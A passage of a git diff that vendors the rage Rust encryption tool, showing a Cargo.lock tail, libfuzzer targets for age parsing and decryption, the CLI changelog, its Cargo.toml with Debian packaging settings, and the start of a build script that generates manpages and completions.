"cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "salsa20" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97a22f5af31f73a954c10289c93e8a50cc23d971e80ee446f1f6f7137a088213" +dependencies = [ + "cipher", +] + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "scrypt" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0516a385866c09368f0b5bcd1caff3366aace790fcd46e2bb032697bb172fd1f" +dependencies = [ + "pbkdf2", + "salsa20", + "sha2", +] + +[[package]] +name = "secrecy" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e891af845473308773346dc847b2c23ee78fe442e0472ac50e22a18a93d3ae5a" +dependencies = [ + "zeroize", +] + +[[package]] +name = "self_cell" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e14e4d63b804dc0c7ec4a1e52bcb63f02c7ac94476755aa579edac21e01f915d" +dependencies = [ + "self_cell 1.0.4", +] + +[[package]] +name = "self_cell" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d369a96f978623eb3dc28807c4852d6cc617fed53da5d3c400feff1ef34a714a" + +[[package]] +name = "semver" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61697e0a1c7e512e84a621326239844a24d8207b4669b41bc18b32ea5cbf988b" + +[[package]] +name = "serde" +version = "1.0.214" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f55c3193aca71c12ad7890f1785d2b73e1b9f63a0bbc353c08ef26fe03fc56b5" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.214" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de523f781f095e28fa605cdce0f8307e451cc0fd14e2eb4cd2e98a355b147766" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.87" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25aa4ce346d03a6dcd68dd8b4010bcb74e54e62c90c573f394c46eae99aba32d" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "thiserror" +version = "1.0.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d171f59dbaa811dbbb1aee1e73db92ec2b122911a48e1390dfe327a821ddede" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b08be0f17bd307950653ce45db00cd31200d82b624b36e181337d9c7d92765b5" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tinystr" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9117f5d4db391c1cf6927e7bea3db74b9a1c1add8f7eda9ffd5364f40f57b82f" +dependencies = [ + "displaydoc", +] + +[[package]] +name = "toml" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" +dependencies = [ + "serde", +] + +[[package]] +name = "type-map" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "deb68604048ff8fa93347f02441e4487594adc20bb8a084f9e564d2b827a0a9f" +dependencies = [ + "rustc-hash", +] + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "unic-langid" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23dd9d1e72a73b25e07123a80776aae3e7b0ec461ef94f9151eed6ec88005a44" +dependencies = [ + "unic-langid-impl", +] + +[[package]] +name = "unic-langid-impl" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a5422c1f65949306c99240b81de9f3f15929f5a8bfe05bb44b034cc8bf593e5" +dependencies = [ + "serde", + "tinystr", +] + +[[package]] +name = "unicode-ident" +version = "1.0.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e91b56cd4cadaeb79bbf1a5645f6b4f8dc5bde8834ad5894a8db35fda9efa1fe" + +[[package]] +name = "universal-hash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" +dependencies = [ + "crypto-common", + "subtle", +] + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "winapi-util" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb" +dependencies = [ + "windows-sys", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "x25519-dalek" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7e468321c81fb07fa7f4c636c3972b9100f0346e5b6a9f2bd0603a52f7ed277" +dependencies = [ + "curve25519-dalek", + "rand_core", + "serde", + "zeroize", +] + +[[package]] +name = "zerocopy" +version = "0.7.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0" +dependencies = [ + "byteorder", + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "zeroize" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" +dependencies = [ + "zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] diff --git a/lib/rage/fuzz/Cargo.toml b/lib/rage/fuzz/Cargo.toml new file mode 100644 index 0000000..c170966 --- /dev/null +++ b/lib/rage/fuzz/Cargo.toml @@ -0,0 +1,42 @@ + +[package] +name = "age-fuzz" +version = "0.0.0" +authors = ["Automatically generated"] +publish = false +edition = "2018" + +[package.metadata] +cargo-fuzz = true + +[dependencies] +cookie-factory = "0.3" + +[dependencies.age-core] +path = "../age-core" +[dependencies.age] +path = "../age" +[dependencies.libfuzzer-sys] +git = "https://github.com/rust-fuzz/libfuzzer-sys.git" + +# Prevent this from interfering with workspaces +[workspace] +members = ["."] + +[[bin]] +name = "age_stanza" +path = "fuzz_targets/age_stanza.rs" + +[[bin]] +name = "header" +path = "fuzz_targets/header.rs" + +[[bin]] +name = "decrypt" +path = "fuzz_targets/decrypt.rs" + +[[bin]] +name = "decrypt_buffered" +path = "fuzz_targets/decrypt_buffered.rs" +test = false +doc = false diff --git a/lib/rage/fuzz/fuzz_targets/age_stanza.rs b/lib/rage/fuzz/fuzz_targets/age_stanza.rs new file mode 100644 index 0000000..5857929 --- /dev/null +++ b/lib/rage/fuzz/fuzz_targets/age_stanza.rs @@ -0,0 +1,16 @@ +#![no_main] +use age_core::format::{read, write}; +use cookie_factory::gen; +use libfuzzer_sys::fuzz_target; + +fuzz_target!(|data: &[u8]| { + if let Ok((leftover, stanza)) = read::age_stanza(data) { + let mut buf = Vec::with_capacity(data.len()); + gen( + write::age_stanza(stanza.tag, &stanza.args, &stanza.body()), + &mut buf, + ) + .expect("can write to Vec"); + assert_eq!(buf, &data[0..data.len() - leftover.len()]); + } +}); diff --git a/lib/rage/fuzz/fuzz_targets/decrypt.rs b/lib/rage/fuzz/fuzz_targets/decrypt.rs new file mode 100644 index 0000000..637edc1 --- /dev/null +++ b/lib/rage/fuzz/fuzz_targets/decrypt.rs @@ -0,0 +1,12 @@ +#![no_main] +use libfuzzer_sys::fuzz_target; + +use std::iter; + +use age::Decryptor; + +fuzz_target!(|data: &[u8]| { + if let Ok(decryptor) = Decryptor::new(data) { + let _ = decryptor.decrypt(iter::empty()); + } +}); diff --git a/lib/rage/fuzz/fuzz_targets/decrypt_buffered.rs b/lib/rage/fuzz/fuzz_targets/decrypt_buffered.rs new file mode 100644 index 0000000..f23583d --- /dev/null +++ b/lib/rage/fuzz/fuzz_targets/decrypt_buffered.rs @@ -0,0 +1,12 @@ +#![no_main] +use libfuzzer_sys::fuzz_target; + +use std::iter; + +use age::Decryptor; + +fuzz_target!(|data: &[u8]| { + if let Ok(decryptor) = Decryptor::new_buffered(data) { + let _ = decryptor.decrypt(iter::empty()); + } +}); diff --git a/lib/rage/fuzz/fuzz_targets/header.rs b/lib/rage/fuzz/fuzz_targets/header.rs new file mode 100644 index 0000000..d07d4b2 --- /dev/null +++ b/lib/rage/fuzz/fuzz_targets/header.rs @@ -0,0 +1,6 @@ +#![no_main] +use libfuzzer_sys::fuzz_target; + +fuzz_target!(|data: &[u8]| { + age::fuzz_header(data); +}); diff --git a/lib/rage/rage/CHANGELOG.md b/lib/rage/rage/CHANGELOG.md new file mode 100644 index 0000000..a56681c --- /dev/null +++ b/lib/rage/rage/CHANGELOG.md @@ -0,0 +1,230 @@ +# Changelog +All notable changes to the rage CLI tools themselves will be documented in this +file. Changes to the [age crate](../age/CHANGELOG.md) also apply to the rage CLI +tools, and are not duplicated here. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to Rust's notion of +[Semantic Versioning](https://semver.org/spec/v2.0.0.html). All versions prior +to 1.0.0 are beta releases. + +## [Unreleased] + +## [0.6.1, 0.7.2, 0.8.2, 0.9.3, 0.10.1, 0.11.1] - 2024-12-18 +### Security +- Fixed a security vulnerability that could allow an attacker to execute an + arbitrary binary under certain conditions. See GHSA-4fg7-vxc8-qx5w. Plugin + names are now required to only contain alphanumeric characters or the four + special characters `+-._`. Thanks to ⬡-49016 for reporting this issue. + +## [0.11.0] - 2024-11-03 +### Added +- Partial French translation! + +### Fixed +- [Unix] Files can now be encrypted with `rage --passphrase` when piped over + stdin, without requiring an explicit `-` argument as `INPUT`. + +## [0.10.0] - 2024-02-04 +### Added +- Russian translation! +- `rage-keygen -y IDENTITY_FILE` to convert identity files to recipients. +- Elvish completions to the Debian package. These are not automatically + discovered; Elvish users will need to manually import them. +- Localized manpages to the Debian package. + +### Changed +- MSRV is now 1.65.0. +- Migrated from `gumdrop` to `clap` for argument parsing. +- `-R/--recipients-file` and `-i/--identity` now support "read-once" files, like + those used by process substitution (`-i <(other_binary get-age-identity)`) and + named pipes. +- The filename `-` (hyphen) is now treated as an explicit request to read from + standard input when used with `-R/--recipients-file` or `-i/--identity`. It + must only occur once across the `-R/--recipients-file` and `-i/--identity` + flags, and the input file. It cannot be used if the input file is omitted. + +### Fixed +- OpenSSH private keys passed to `-i/--identity` that contain invalid public + keys are no longer ignored when encrypting, and instead cause an error. +- Weak `ssh-rsa` public keys that are smaller than 2048 bits are now rejected. +- `rage-keygen` no longer overwrites existing key files with the `-o/--output` + flag. This was its behaviour prior to 0.6.0, but was unintentionally changed + when `rage` was modified to overwrite existing files. Key file overwriting can + still be achieved by omitting `-o/--output` and instead piping stdout to the + file. +- `rage-keygen` now prints fatal errors directly instead of them being hidden + behind the `RUST_LOG=error` environment variable. It also now sets its return + code appropriately instead of always returning 0. +- The Debian package now uses the correct installation paths for fish and Zsh + completions. + +## [0.9.2] - 2023-06-12 +### Changed +- Increased parsing speed of age file headers. For single-recipient encrypted + files, decryption throughput increases by 6% for medium (< 1MiB) files, and + over 40% for small (< 10kiB) files. +- The `pinentry` binary used to request passphrases can now be set manually with + the `PINENTRY_PROGRAM` environment variable. It accepts either a binary name + or a path. Setting this to the empty string will disable `pinentry` usage and + fall back to the CLI interface. +- Linux release binaries are now built using Ubuntu 20.04. + +## [0.9.1] - 2023-03-24 +### Added +- Support for encrypted OpenSSH keys exported from 1Password. + +## [0.9.0] - 2022-10-27 +### Changed +- MSRV is now 1.59.0. + +### Fixed +- Encryption now returns an error if the file would be encrypted to no + recipients. This can occur if only `-R/--recipients-file` flags are provided, + and they all point to files that contain only "#" prefixed comments and empty + lines. + +## [0.8.1] - 2022-06-18 +### Security +- Require `age 0.8.1`. See the [`age` crate changelog](../age/CHANGELOG.md) for + details. + +## [0.8.0] - 2022-05-02 +### Changed +- MSRV is now 1.56.0. +- When both reading input from the terminal (e.g. if the user is typing the + plaintext to be encrypted) and writing output to the terminal, `rage` now + buffers the output until the input is finished, so the output doesn't get in + the way of typing. +- A warning is now displayed if `rage` detects that the file being encrypted + starts with the age magic string or armor begin marker (indicating that an + age-encrypted file is being double-encrypted). The file is still encrypted. +- A message is now printed if a plugin takes longer than 10 seconds to encrypt + or decrypt its header entry (for example, if the plugin is waiting on some + user interaction that hasn't occurred yet). + +### Fixed +- Decryption now returns an error when given a passphrase-encrypted file if + `-i/--identity` is present. Previously this could result in scripts hanging + forever (given that passphrase decryption is intentionally not scriptable). + +## [0.7.1] - 2021-12-27 +### Fixed +- Fixed a bug in 0.7.0 where non-canonical recipient stanza bodies in an age + file header would cause `rage` to crash instead of being rejected. + +## [0.7.0] - 2021-10-18 +### Added +- `-i/--identity` now accepts passphrase-encrypted age identity files. +- The `-j PLUGIN_NAME` flag, which allows decrypting with a plugin using its + "default mode" (in which no identity-specific information is required). This + flag is equivalent to using `-i/--identity` with an identity file containing + the default plugin identity (containing no data). + +### Changed +- MSRV is now 1.51.0. +- `*-linux.tar.gz` release binaries are now built with Ubuntu 18.04, and require + a system with a minimum of `glibc 2.27`. + +## [0.6.0] - 2021-05-02 +### Added +- Plugin support! + - The new [`age-plugin`](https://crates.io/crates/age-plugin) crate provides + a Rust API for building age plugins. + - See https://hackmd.io/@str4d/age-plugin-spec for the beta specification. +- The `-R/--recipients-file` flag, which accepts a path to a file containing age + recipients, one per line (ignoring "#" prefixed comments and empty lines). +- The `-e/--encrypt` flag, to allow encryption to be an explicit choice (instead + of relying on `-d/--decrypt` not being present). + +### Changed +- MSRV is now 1.47.0. +- `-o/--output` will now *overwrite* existing files instead of returning an + error. This makes the behaviour consistent with most UNIX tools, as well as + when using pipes. +- Files encrypted with this version of `rage` might not decrypt with previous + beta versions, due to changes in how stanza bodies are canonically encoded. + This should only affect a small fraction of files (if grease that triggers the + change is added, which has a 3% chance per file). +- `-r/--recipient` now has the specific type "recipient" which better reflects + its name, rather than the ambiguous "source of recipients" it was previously. +- `-i/--identity` can now be used when encrypting files. This requires the + `-e/--encrypt` flag (to prevent ambiguity, e.g. if the user wants to decrypt + but forgets the `-d/--decrypt` flag). +- `*-linux.tar.gz` release binaries are now built with Ubuntu 16.04, enabling + them to be used on systems with a minimum of `glibc 2.23`. +- Debian packages are now built with Ubuntu 18.04, enabling them to be used on + Debian/Ubuntu systems with a minimum of `glibc 2.27`. + +### Removed +- Recipients file support from `-r/--recipient` (use `-R/--recipients-file` + instead). +- HTTPS support. This added otherwise-unnecessary networking dependencies to + `rage`, and there are many decisions that need to be made when downloading a + file (e.g. what roots to trust?) that go beyond the APIs we want to focus on + here. Users should use a tool like `curl` or `wget` to download a recipients + file, and then pass it to `rage`. +- The unstable GitHub feature (which relied on HTTPS support). +- The unstable aliases feature. + +### Fixed +- Log output is now disabled by default, to prevent non-fatal error messages + (such as an unset or invalid `LANG` variable) being printed to stderr while + the program succeeds (which is confusing for users). The previous behaviour + can be configured by setting the environment variable `RUST_LOG=error`. +- Output files are now opened lazily, which avoids leaving behind an empty file + when an error occurs before we write the header. + +## [0.5.1] - 2021-02-13 +### Fixed +- Bumped dependencies to `i18n-embed-fl 0.3` and `i18n-embed 0.10.2` to fix a + transient dependency breakage, that broke `cargo install rage` because + [`cargo install` ignores `Cargo.lock`](https://github.com/rust-lang/cargo/issues/7169). + +## [0.5.0] - 2020-11-22 +### Added +- Italian, Spanish, and Chinese translations! +- `ssh` feature flag, enabled by default. It can be disabled to remove support + for `ssh-rsa` and `ssh-ed25519` recipients and identities. `ssh-rsa` keys are + now supported without the `unstable` feature flag. + +### Changed +- MSRV is now 1.45.0. + +### Removed +- Default identity path (identities should instead be set per-use). +- Default alias path (for unstable aliases feature). + +## [0.4.0] - 2020-03-25 +### Added +- `rage-mount` can now mount ASCII-armored age files. + +### Changed +- [`rage`] `-p/--passphrase` flag can no longer be used with `-d/--decrypt` + (passphrase-encrypted files are now detected automatically). + +### Removed +- `-p/--passphrase` flag from `rage-mount` (passphrase-encrypted files are now + detected automatically). + +### Fixed +- [Unix] Files encrypted with a passphrase can now be decrypted with `rage` when + piped over stdin. + +## [0.3.1] - 2020-02-11 +### Fixed +- Bumped dependencies to `cookie-factory ^0.3.1` to fix nightly builds. + +## [0.3.0] - 2020-02-09 +(relative to the CLI tools in `age 0.2.0`) + +### Added +- `-V / --version` flags to all binaries. +- Completion files for Bash, Elvish, Fish, PowerShell, and Zsh can be generated + with `cargo run --example generate-completions`. +- The Debian package will install completion files for Bash, Fish, and Zsh. + +### Changed +- If a `pinentry` binary is available, it will be used preferentially to request + secrets such as passphrases. The previous CLI input will be used if `pinentry` + is not available. diff --git a/lib/rage/rage/Cargo.toml b/lib/rage/rage/Cargo.toml new file mode 100644 index 0000000..a472f7f --- /dev/null +++ b/lib/rage/rage/Cargo.toml @@ -0,0 +1,159 @@ +[package] +name = "rage" +description = "[BETA] A simple, secure, and modern encryption tool." +version = "0.11.1" +authors.workspace = true +repository.workspace = true +readme = "../README.md" +keywords = ["age", "cli", "encryption"] +categories = ["command-line-utilities", "cryptography"] +license.workspace = true +edition.workspace = true +rust-version.workspace = true +default-run = "rage" + +[package.metadata.deb] +name = "rage" +conflicts = "rage-musl" +extended-description = """\ +age is a simple, modern, and secure encryption format with small explicit keys, \ +no config options, and UNIX-style composability. rage is a Rust implementation \ +of the age specification.""" +section = "utils" +assets = [ + ["target/release/rage", "usr/bin/", "755"], + ["target/release/rage-keygen", "usr/bin/", "755"], + ["target/release/rage-mount", "usr/bin/", "755"], + + # From the bash-completion FAQ (https://github.com/scop/bash-completion/blob/master/README.md#faq): + # > Q. I author/maintain package X and would like to maintain my own completion code + # > for this package. Where should I put it to be sure that interactive bash shells + # > will find it and source it? + # > A. Install it in one of the directories pointed to by bash-completion's `pkgconfig` + # > file variables. [..] The recommended directory is `completionsdir`, which you + # > can get with `pkg-config --variable=completionsdir bash-completion`. + # + # On Ubuntu 22.04 this resolves to `/usr/share/bash-completion/completions`. + ["target/release/completions/rage.bash", "usr/share/bash-completion/completions/rage", "644"], + ["target/release/completions/rage-keygen.bash", "usr/share/bash-completion/completions/rage-keygen", "644"], + ["target/release/completions/rage-mount.bash", "usr/share/bash-completion/completions/rage-mount", "644"], + + # From https://github.com/elves/elvish/issues/1564#issuecomment-1166333636: + # > Completion files can be installed like other modules into a global module search + # > directory ([..]). There is no automatic discovery of completion files though; the + # > user would have to import them manually with `use`. + # + # From https://elv.sh/ref/command.html#module-search-directories: + # > When importing modules, Elvish searches the following directories: + # > [..] + # > 3. If the XDG_DATA_DIRS environment variable is defined and non-empty, it is + # > treated as a colon-delimited list of paths (semicolon-delimited on Windows), + # > which are all searched. + # > + # > Otherwise, `/usr/local/share/elvish/lib` and `/usr/share/elvish/lib` are + # > searched on non-Windows OSes. + ["target/release/completions/rage.elv", "usr/share/elvish/lib/", "644"], + ["target/release/completions/rage-keygen.elv", "usr/share/elvish/lib/", "644"], + ["target/release/completions/rage-mount.elv", "usr/share/elvish/lib/", "644"], + + # From https://fishshell.com/docs/current/completions.html#where-to-put-completions: + # > By default, Fish searches the following for completions, using the first available + # > file that it finds: + # > [..] + # > - A directory for third-party software vendors to ship their own completions for + # > their software, usually `/usr/share/fish/vendor_completions.d`; + # > [..] + # > If you are developing another program and would like to ship completions with your + # > program, install them to the “vendor†completions directory. As this path may vary + # > from system to system, the `pkgconfig` framework should be used to discover this + # > path with the output of `pkg-config --variable completionsdir fish`. + ["target/release/completions/rage.fish", "usr/share/fish/vendor_completions.d/", "644"], + ["target/release/completions/rage-keygen.fish", "usr/share/fish/vendor_completions.d/", "644"], + ["target/release/completions/rage-mount.fish", "usr/share/fish/vendor_completions.d/", "644"], + + # The best reference I can find for the Zsh completions path is + # https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=921236#17 from February 2019: + # > As a rule, completion functions (first line is "#compdef") should be + # > installed to /usr/share/zsh/vendor-completions and autoloadable + # > functions (first line is "#autoload") to /usr/share/zsh/vendor-functions; + # > both of these paths are Debian-specific. + ["target/release/completions/_rage", "usr/share/zsh/vendor-completions/", "644"], + ["target/release/completions/_rage-keygen", "usr/share/zsh/vendor-completions/", "644"], + ["target/release/completions/_rage-mount", "usr/share/zsh/vendor-completions/", "644"], + + # From the default `/etc/manpath.config` created by the `man-db` package: + # > MANPATH_MAP /usr/bin /usr/share/man + ["target/release/manpages/**/rage.1.gz", "usr/share/man/man1/", "644"], + ["target/release/manpages/**/rage-keygen.1.gz", "usr/share/man/man1/", "644"], + ["target/release/manpages/**/rage-mount.1.gz", "usr/share/man/man1/", "644"], + + ["../README.md", "usr/share/doc/rage/README.md", "644"], +] +features = ["mount"] + +[package.metadata.deb.variants.musl] +name = "rage-musl" +conflicts = "rage" +extended-description = """\ +age is a simple, modern, and secure encryption format with small explicit keys, \ +no config options, and UNIX-style composability. rage is a Rust implementation \ +of the age specification. This package is statically linked against musl.""" +features = [] + +[badges] +maintenance = { status = "experimental" } + +[dependencies] +# rage and rage-keygen dependencies +age = { workspace = true, features = ["armor", "cli-common", "plugin"] } +chrono.workspace = true +clap = { workspace = true, features = ["string", "unstable-styles"] } +console.workspace = true +env_logger.workspace = true +i18n-embed = { workspace = true, features = ["desktop-requester"] } +i18n-embed-fl.workspace = true +lazy_static.workspace = true +log.workspace = true +pinentry.workspace = true +rust-embed.workspace = true + +# rage-mount dependencies +ctrlc = { version = "3.2", optional = true } +fuse_mt = { version = "0.6.0", optional = true } +fuser = { version = "0.13", optional = true } +libc = { version = "0.2", optional = true } +tar = { version = "0.4", optional = true } +time = { version = ">=0.3.7, <0.3.24", optional = true } # time 0.3.24 has MSRV 1.67 +zip = { version = "0.6.2", optional = true } + +[build-dependencies] +clap = { workspace = true, features = ["string", "unstable-styles"] } +clap_complete = "4" +clap_mangen = "0.2" +flate2 = "1" +i18n-embed.workspace = true +i18n-embed-fl.workspace = true +lazy_static.workspace = true +rust-embed.workspace = true + +[dev-dependencies] +trycmd = "0.14" + +[features] +default = ["ssh"] +mount = ["ctrlc", "fuse_mt", "fuser", "libc", "tar", "time", "zip"] +ssh = ["age/ssh"] +unstable = ["age/unstable"] + +[[bin]] +name = "rage" +bench = false + +[[bin]] +name = "rage-keygen" +bench = false + +[[bin]] +name = "rage-mount" +required-features = ["mount"] +bench = false diff --git a/lib/rage/rage/build.rs b/lib/rage/rage/build.rs new file mode 100644 index 0000000..494d9e3 --- /dev/null +++ b/lib/rage/rage/build.rs @@ -0,0 +1,468 @@ +use std::env; +use std::fs; +use std::io; +use std::path::Path; +use std::path::PathBuf; + +use clap::{Command, CommandFactory, ValueEnum}; +use clap_complete::{generate_to, Shell}; +use clap_mangen::{ + roff::{Inline, Roff}, + Man, +}; +use flate2::{write::GzEncoder, Compression}; +use i18n_embed::unic_langid::LanguageIdentifier; + +mod i18n { + include!("src/bin/rage/i18n.rs"); +} +mod rage { + include!("src/bin/rage/cli.rs"); +} +mod rage_keygen { + include!("src/bin/rage-keygen/cli.rs"); +} +#[cfg(feature = "mount")] +mod rage_mount { + include!("src/bin/rage-mount/cli.rs"); +} + +#[macro_export] +macro_rules! fl { + ($message_id:literal) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id) + }}; + + ($message_id:literal, $($args:expr),* $(,)?) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id, $($args), *) + }}; +} + +/// Formats localized text. +/// +/// We only support one kind of formatting: italics via `the _underscore_ method`. +fn format_localized(content: String) -> Vec { + if let Some((l, r)) = content.split_once(" _") { + Some(Inline::Roman(l.into())) + .into_iter() + .chain(r.split(" _").flat_map(|s| { + let (l, r) = s + .split_once("_ ") + .expect("italics should always be terminated"); + [ + Inline::Roman(" ".into()), + Inline::Italic(l.into()), + Inline::Roman(format!(" {r}")), + ] + })) + .collect() + } else { + vec![Inline::Roman(content)] + } +} + +struct ManpageSection(Roff); + +impl ManpageSection { + fn new(heading: String) -> Self { + let mut roff = Roff::default(); + roff.control("SH", [heading.as_str()]); + Self(roff) + } + + fn subheading(mut self, subheading: String) -> Self { + self.0.control("SS", [subheading.as_str()]); + self + } + + fn paragraph(mut self, content: String) -> Self { + self.0.text(format_localized(content)); + self + } + + fn render(self, w: &mut impl io::Write) -> io::Result<()> { + self.0.to_writer(w) 